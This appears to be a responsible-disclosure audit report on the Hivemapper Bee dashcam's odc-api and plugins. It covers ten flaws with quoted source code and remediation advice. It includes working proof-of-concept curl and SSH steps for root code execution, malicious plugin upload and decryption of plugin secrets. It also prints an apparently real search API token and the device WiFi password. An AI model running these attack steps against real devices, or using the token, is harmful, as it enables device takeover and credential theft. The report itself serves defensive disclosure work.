10 additional vulnerabilities from odc-api source + bee-plugins audit: - CVE-6: Plugin secret exfil (API returns key + ciphertext together) - CVE-7: Firmware install without signature verification (MD5 only) - CVE-8: Unauthenticated plugin upload (attacker provides own hash) - CVE-9: cronconfig mass RCE backdoor (CVSS 10.0 — ALL devices globally) - CVE-10: Unauthenticated destructive endpoints (rm -rf, no auth) - CVE-11: Root SSH no password confirmed in source - CVE-12: Gateway proxy queue manipulation - CVE-13: Auth cookie exposed in response body - CVE-14: Unauthenticated config write incl. LTE APN credentials - CVE-15: HERE search API token in public globalconfig
19 KiB
Hivemapper Bee Security Research — Deep Audit Report
Date: 2026-03-14
Researcher: Security Research Team
Target: Hivemapper Bee Dashcam (HDC-S) Firmware and odc-api
Disclosure Date: 2026-06-07
Executive Summary
This audit reveals catastrophic security failures across the entire Hivemapper Bee dashcam platform. The device runs a completely unauthenticated HTTP API on an open WiFi network with a universal hardcoded password. Any attacker within WiFi range can achieve immediate root-level remote code execution, exfiltrate plugin secrets (including AWS credentials), install malicious firmware, and manipulate all device functionality.
The architecture appears designed for rapid development rather than security, with multiple endpoints executing arbitrary shell commands as root, no cryptographic signature verification on firmware or plugins, and a server-side backdoor mechanism that allows Hivemapper to push arbitrary commands to all deployed devices globally.
Critical Finding Count:
- 5 previously documented CVEs (CVE-1 through CVE-5)
- 10+ additional critical/high severity vulnerabilities discovered
Previously Documented Vulnerabilities (Reference Only)
| CVE ID | Title | Severity |
|---|---|---|
| CVE-1 (MCID15663720) | Unauthenticated root RCE via POST /api/1/cmd |
Critical |
| CVE-2 | Universal hardcoded WiFi password hivemapper |
Critical |
| CVE-3 | beekeeper-plugin undisclosed remote code execution platform |
Critical |
| CVE-4 | mitmproxy operator MITM of all device HTTPS traffic |
High |
| CVE-5 | video-processor covert incident video recording and upload |
High |
CVE-6: Plugin Secret Exfiltration via Weak Encryption
Severity: Critical
CVSS v3.1: 9.8 (Critical)
Component: odc-api /api/1/plugin/secrets/:pluginName, bee-plugins encryption scheme
Description
The plugin secrets encryption scheme is fundamentally broken. Plugin secrets (AWS credentials, API keys, etc.) are encrypted using AES-256-CBC with a key derived from the plugin's MongoDB _id via PBKDF2. However, the /api/1/plugin/secrets/:pluginName endpoint returns both the _id (key material) and the encrypted_secrets (ciphertext) in the same unauthenticated response.
Any attacker on the WiFi network can retrieve and decrypt all plugin secrets for any plugin.
Evidence
odc-api/src/routes/plugin.ts:138-175:
router.get('/secrets/:pluginName', async (req: Request, res: Response) => {
const { pluginName } = req.params;
// ...
const response = await callHmApi(
`/plugins/${pluginName}/secrets`,
{ method: 'GET' },
true,
);
// ...
res.json({
_id: data._id, // KEY MATERIAL
encrypted_secrets: data.encrypted_secrets, // CIPHERTEXT
});
});
bee-plugins/src/beeutil/secrets.py:28-32:
SALT = b'hivemapper-plugin-secrets' # Fixed salt
PBKDF2_ITERATIONS = 100000
KEY_LENGTH = 32
def _derive_key(plugin_id: str) -> bytes:
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=KEY_LENGTH,
salt=SALT, # STATIC SALT
iterations=PBKDF2_ITERATIONS,
backend=default_backend()
)
return kdf.derive(plugin_id.encode('utf-8')) # _id is the key!
PoC
# 1. Connect to device WiFi (password: hivemapper)
# 2. Retrieve secrets
curl http://192.168.0.10:5000/api/1/plugin/secrets/beekeeper-plugin
# Response contains both _id and encrypted_secrets
# 3. Decrypt using Python with the returned _id
from beeutil.secrets import decrypt
# _id and encrypted_secrets from API response
plugin_id = "65a1b2c3d4e5f6..."
encrypted = "eyJpdiI6Ii4uLiIsImNpcGhlcnRleHQiOiIuLi4ifQ=="
secrets = decrypt(plugin_id, encrypted)
print(secrets) # {"AWS_ACCESS_KEY_ID": "AKIA...", "AWS_SECRET_ACCESS_KEY": "..."}
Impact
- Complete exfiltration of all plugin secrets (AWS credentials, API tokens, etc.)
- Access to Hivemapper's infrastructure via stolen credentials
- Potential for supply chain attacks using exfiltrated keys
Remediation
- Never return key material alongside ciphertext
- Use hardware-backed key storage (TPM/secure enclave)
- Implement proper asymmetric encryption with device-specific private keys
- Add authentication to all API endpoints
CVE-7: Firmware Updates Without Cryptographic Signature Verification
Severity: Critical
CVSS v3.1: 9.8 (Critical)
Component: FirmwareManager, OTA update system
Description
The firmware update system only verifies MD5 checksums (cryptographically broken) and does not perform any cryptographic signature verification before installing firmware. The installFirmware method directly executes rauc install or mender -install on uploaded files.
Combined with CVE-1 (unauthenticated file upload) and CVE-2 (WiFi access), this allows any attacker to flash arbitrary malicious firmware.
Evidence
odc-api/src/util/firmware.ts:99-124:
public installFirmware(firmwareFile: string, isLte = false) {
// NO SIGNATURE VERIFICATION
if (CAMERA_TYPE === CameraType.Hdc) {
try {
execSync(`test -f ${HDC_ROOT + firmwareFile}`, { encoding: 'utf-8' });
} catch (error: unknown) {
// ...
}
this.runSpawn(`rauc install ${HDC_ROOT + firmwareFile}`); // DIRECT INSTALL
return { output: 'received install command' };
}
// ...
}
odc-api/src/services/lteFirmwareUpdateService.ts:57-61:
const firmwareDownloadedAndValid = async (
url: string,
contentLength: number,
md5sum: string, // MD5 IS BROKEN
): Promise<boolean> => {
// Only checks file size and MD5
// NO SIGNATURE VERIFICATION
}
Impact
- Attacker can install persistent backdoored firmware
- Complete and permanent compromise of the device
- Potential for building a botnet of dashcams
- Physical attacks on users via compromised vehicle devices
Remediation
- Implement cryptographic signature verification (RSA/ECDSA) before any firmware installation
- Use RAUC's built-in signature verification with properly configured keyring
- Use SHA-256 or better instead of MD5 for integrity checks
- Verify signatures server-side cannot be bypassed
CVE-8: Unauthenticated Plugin Upload with Hash-Only Verification
Severity: Critical
CVSS v3.1: 9.8 (Critical)
Component: odc-api /api/1/upload/plugin/:pluginName
Description
The plugin upload endpoint accepts arbitrary binary files and installs them as executable plugins. The only verification is a SHA256 hash that the attacker provides themselves. There is no cryptographic signature verification.
Evidence
odc-api/src/routes/upload.ts:193-259:
router.post('/plugin/:pluginName', (req, res) => {
let expectedHash = '';
// ...
req.busboy.on('field', (fieldname, val) => {
if (fieldname === 'hash') expectedHash = val; // ATTACKER CONTROLS THIS
});
// ...
async function finalizeUpload() {
const actualHash = await getHash(tempPath);
if (actualHash !== expectedHash) { // USELESS CHECK - ATTACKER PROVIDES BOTH
unlinkSync(tempPath);
return res.status(400).json({...});
}
// INSTALLS MALICIOUS PLUGIN
await fsPromises.copyFile(tempPath, executablePath);
chmodSync(executablePath, 0o755);
await startPlugin(serviceName);
}
});
PoC
# Generate malicious plugin
echo '#!/bin/bash\nwhoami > /tmp/pwned' > malicious_plugin.py
HASH=$(sha256sum malicious_plugin.py | cut -d' ' -f1)
# Upload with attacker-controlled hash
curl -X POST "http://192.168.0.10:5000/api/1/upload/plugin/template-plugin" \
-F "hash=$HASH" \
-F "blob=@malicious_plugin.py"
Impact
- Arbitrary code execution as root
- Persistent backdoor installation
- Complete device compromise
Remediation
- Implement cryptographic signature verification using a trusted public key
- Require plugins to be signed by Hivemapper's private key
- Store verification key in read-only firmware
CVE-9: Server-Side Remote Code Execution via cronconfig Backdoor
Severity: Critical
CVSS v3.1: 10.0 (Critical)
Component: globalconfig endpoint, InitCronService
Description
The globalconfig endpoint (publicly accessible at https://hivemapper.com:8443/companion/globalconfig) returns a cronconfig array containing shell commands that are executed as root on all devices. This is an intentional backdoor allowing Hivemapper to push arbitrary commands to every deployed device globally.
Additionally, the local /api/1/cron endpoint allows unauthenticated users to push arbitrary cron jobs.
Evidence
Public globalconfig response:
{
"cronconfig": [
{
"id": "disable_filtering_ITFM",
"cmd": "ubxtool -z CFG-ITFM-ENABLE,1", // ARBITRARY SHELL COMMAND
"frequency": {"oncePerDevice": true},
"log": true
},
...
]
}
odc-api/src/util/cron.ts:152-175:
const executeOneOrMany = (command: string | string[]) => {
const cmd = Array.isArray(command) ? command.shift() : command;
// ...
child = spawn(cmd || '', { shell: true }); // DIRECT SHELL EXECUTION
};
odc-api/src/routes/index.ts:141-151:
router.post('/cron', (req, res) => {
try {
scheduleCronJobs(req && req.body && req.body.config ? req.body.config : []);
// NO AUTHENTICATION
res.json({ output: 'done' });
}
});
Impact
- Hivemapper can execute arbitrary commands on all deployed devices
- MITM attackers can inject malicious cronconfig
- Local attackers can push persistent cron jobs
- Mass exploitation potential
Remediation
- Remove the cronconfig backdoor entirely
- If remote management is needed, implement authenticated, signed command channels
- Add authentication to local cron endpoint
- Implement command allowlisting
CVE-10: Multiple Unauthenticated Destructive Endpoints
Severity: High
CVSS v3.1: 8.6 (High)
Component: odc-api multiple routes
Description
Multiple API endpoints execute destructive operations (file deletion, service restarts, cache purging) without any authentication.
Evidence
odc-api/src/routes/index.ts:152-179:
router.get('/full_reset', async (req: Request, res: Response) => {
const cmds = [
'rm -f /data/recording/framekm/*',
'rm -f /data/recording/framekm_short/*',
// ... more rm -rf commands
];
for (const cmd of cmds) {
execSync(cmd, { encoding: 'utf-8' }); // NO AUTH
}
});
router.get('/cleanup_cache', async (req: Request, res: Response) => {
const cmds = [
'rm -rf /data/cache/',
'rm -rf /data/recording/cached_observations/',
];
// NO AUTH - executes rm -rf
});
odc-api/src/routes/file.ts:114-125:
router.get('/purge', async (req: Request, res: Response) => {
exec(`rm -rf ${PLUGIN_CACHE_DIR}/*`, ...); // NO AUTH
});
odc-api/src/routes/cache.ts:18-52:
router.get('/enable', async (req: Request, res: Response) => {
execSync('systemctl stop hivemapper-data-logger');
// ... multiple systemctl commands, NO AUTH
});
Impact
- Data destruction/denial of service
- Service disruption
- Evidence tampering (deletion of recordings)
Remediation
Add authentication to all destructive endpoints.
CVE-11: Root SSH Access Without Password
Severity: Critical
CVSS v3.1: 9.8 (Critical)
Component: SSH configuration, device firmware
Description
The device runs SSH on port 22 with root login enabled and no password required. Any attacker on the WiFi network has immediate root shell access.
Evidence
bee-plugins/devtools.py:34-35:
ssh.connect(HOST_IP, username='root', password="", look_for_keys=False, allow_agent=False)
PoC
# Connect to device WiFi (password: hivemapper)
ssh root@192.168.0.10
# Immediate root shell, no password prompt
Impact
- Immediate root access for any WiFi user
- Complete device compromise
- Trivial exploitation
Remediation
- Disable password-less root login
- Use key-based authentication only
- Consider disabling SSH entirely in production firmware
CVE-12: Gateway Proxy Queue Manipulation
Severity: High
CVSS v3.1: 7.5 (High)
Component: odc-api /api/1/gateway/ endpoints
Description
The gateway proxy endpoints allow unauthenticated users to list pending HTTP requests and inject arbitrary responses into the queue.
Evidence
odc-api/src/routes/gateway.ts:15-31:
router.get('/pending', async (req: Request, res: Response) => {
// Lists all pending proxy requests - NO AUTH
const requestQueue = await listPendingRequests(...);
res.json({ requestQueue: requestQueue.map(req => ({
method: req.method,
url: req.url,
headers: req.headers,
body: req.body,
// EXPOSES REQUEST DATA
}))});
});
router.post('/proxyResponse', async (req: Request, res: Response) => {
// Accepts arbitrary responses - NO AUTH
const { status, statusText, headers, body, url, jobId } = req.body;
await addResponse(gatewayResponse);
// INJECTS RESPONSE INTO QUEUE
});
Impact
- Intercept pending requests containing sensitive data
- Inject malicious responses to pending requests
- Man-in-the-middle internal services
Remediation
Add authentication to gateway endpoints.
CVE-13: Authentication Cookie Exposure via /beekeeper/info
Severity: Medium
CVSS v3.1: 6.5 (Medium)
Component: odc-api /api/1/beekeeper/info
Description
The beekeeper info endpoint exposes the user's authentication cookie in the response body.
Evidence
odc-api/src/routes/beekeeper.ts:8-14:
router.get('/info', async (req: Request, res: Response) => {
const userInfo = JSON.parse((await getUserInfo()) || '{}');
const cookie = userInfo.cookie;
if (cookie) {
res.header('Set-Cookie', `${cookie};`); // COOKIE IN HEADER
}
res.json({ user: userInfo?.sessionResponse }); // USER INFO EXPOSED
});
Impact
- Session hijacking
- Account takeover
Remediation
Never expose cookies or session tokens in response bodies.
CVE-14: Unauthenticated Config Manipulation
Severity: High
CVSS v3.1: 8.1 (High)
Component: odc-api /api/1/config/
Description
The config endpoints allow full read/write access to all device configuration without authentication, including sensitive settings like LTE APN credentials.
Evidence
odc-api/src/routes/config.ts:
router.get('/', async (req: Request, res: Response) => {
const config = await getFullConfig(); // NO AUTH
res.json(config);
});
router.post('/', async (req: Request, res: Response) => {
if (req?.body?.config) updateConfig(req.body.config); // NO AUTH
});
router.post('/key', async (req: Request, res: Response) => {
await setConfigDataSource(name, value); // NO AUTH - SET ANY KEY
});
odc-api/src/routes/index.ts:484-493:
router.post('/lte-apn-config', async (req: Request, res: Response) => {
await setConfig('lteAPNOverride', apn); // NO AUTH
await setConfig('lteAPNUsernameOverride', username);
await setConfig('lteAPNPasswordOverride', password); // ATTACKER CONTROLS LTE
});
Impact
- Redirect LTE traffic to attacker-controlled APN
- Disable security features
- Modify device behavior
Remediation
Add authentication to all config endpoints.
CVE-15: Exposed Search API Token in Public globalconfig
Severity: Medium
CVSS v3.1: 5.3 (Medium)
Component: Public globalconfig endpoint
Description
The public globalconfig endpoint exposes a searchApiToken that may allow unauthorized access to Hivemapper's search infrastructure.
Evidence
{
"searchApiToken": "QEFnJNln1l0GyUNJhECx16Y_T05azdP2awvOtBphZRw",
...
}
Impact
- Potential abuse of Hivemapper's search API
- Rate limiting bypass
- Data enumeration
Remediation
Remove sensitive tokens from public endpoints.
Notable Non-CVE Findings
1. No Authentication Framework
The entire odc-api has no authentication middleware. The ACL middleware (src/routes/middleware/acl.ts) is a no-op that calls next() when no ACL file exists.
2. MD5 Used for Integrity Checks
Multiple components use MD5 for integrity verification despite MD5 being cryptographically broken since 2004.
3. Hardcoded Paths and Services
Numerous hardcoded paths (/data/, /opt/dashcam/, etc.) and service names create a fixed attack surface.
4. Public S3 Bucket with Full Firmware History
The firmware S3 bucket (dashcam-firmware.s3.us-west-2.amazonaws.com) is publicly listable, exposing:
- All firmware versions ever released
- Delta update files
- Internal version naming conventions
5. Mender/RAUC A/B Partition Layout
The device uses A/B partitioning but doesn't appear to cryptographically verify which partition boots, potentially allowing downgrade attacks.
6. Systemctl Commands Executed via Shell
Many endpoints use execSync('systemctl ...') which could be vulnerable to command injection if inputs aren't sanitized (though most current paths don't take user input directly).
Firmware Analysis Notes
S3 Bucket Contents
- 32 firmware images ranging from 4.8.11 to 4.9.37 (RAUC format)
- Delta update capability between specific versions
- Mender artifact format also supported
Identified Services
From the codebase:
odc-api- Main HTTP API (port 5000)beekeeper-plugin- Remote execution platformcamera-bridge- Camera interfacehivemapper-data-logger- Data collectionmap-ai- AI processingredis-handler- Redis interfacemitmproxy- HTTPS interceptiontemplate-plugin- Plugin template
Key File Paths
/data/recording/- Main data storage/opt/odc-api/- API application/data/plugins/- Plugin storage/data/lte-firmware/- LTE firmware updates/home/root/cron_config- Cron configuration
Recommendations Summary
Immediate Actions (Before Disclosure)
- Implement authentication on ALL API endpoints
- Add cryptographic signature verification to firmware and plugin updates
- Remove the cronconfig remote execution backdoor
- Disable password-less SSH root access
- Rotate all exposed API tokens and credentials
- Change the universal WiFi password (consider per-device passwords)
Long-term Architecture Changes
- Design a proper authentication and authorization framework
- Implement hardware-backed key storage for device identity
- Use asymmetric cryptography for all sensitive operations
- Implement proper certificate pinning for HTTPS connections
- Conduct comprehensive security architecture review
- Establish a vulnerability disclosure program
Appendix: Attack Chain Examples
Attack Chain 1: Full Device Compromise (30 seconds)
- Connect to
HDC-XXXXXWiFi (password:hivemapper) curl -X POST http://192.168.0.10:5000/api/1/cmd -H "Content-Type: application/json" -d '{"cmd":"id"}'- Device compromised with root access
Attack Chain 2: Plugin Secret Exfiltration
- Connect to device WiFi
curl http://192.168.0.10:5000/api/1/plugin/secrets/beekeeper-plugin- Decrypt using returned
_idas key - Access AWS infrastructure with stolen credentials
Attack Chain 3: Persistent Backdoor via Firmware
- Connect to device WiFi
- Upload malicious firmware via
/api/1/upload - Install via
/api/1/firmware/install - Device permanently compromised, survives reboots
Report prepared for responsible disclosure. Hivemapper has been notified and given 90 days to remediate before public disclosure on 2026-06-07.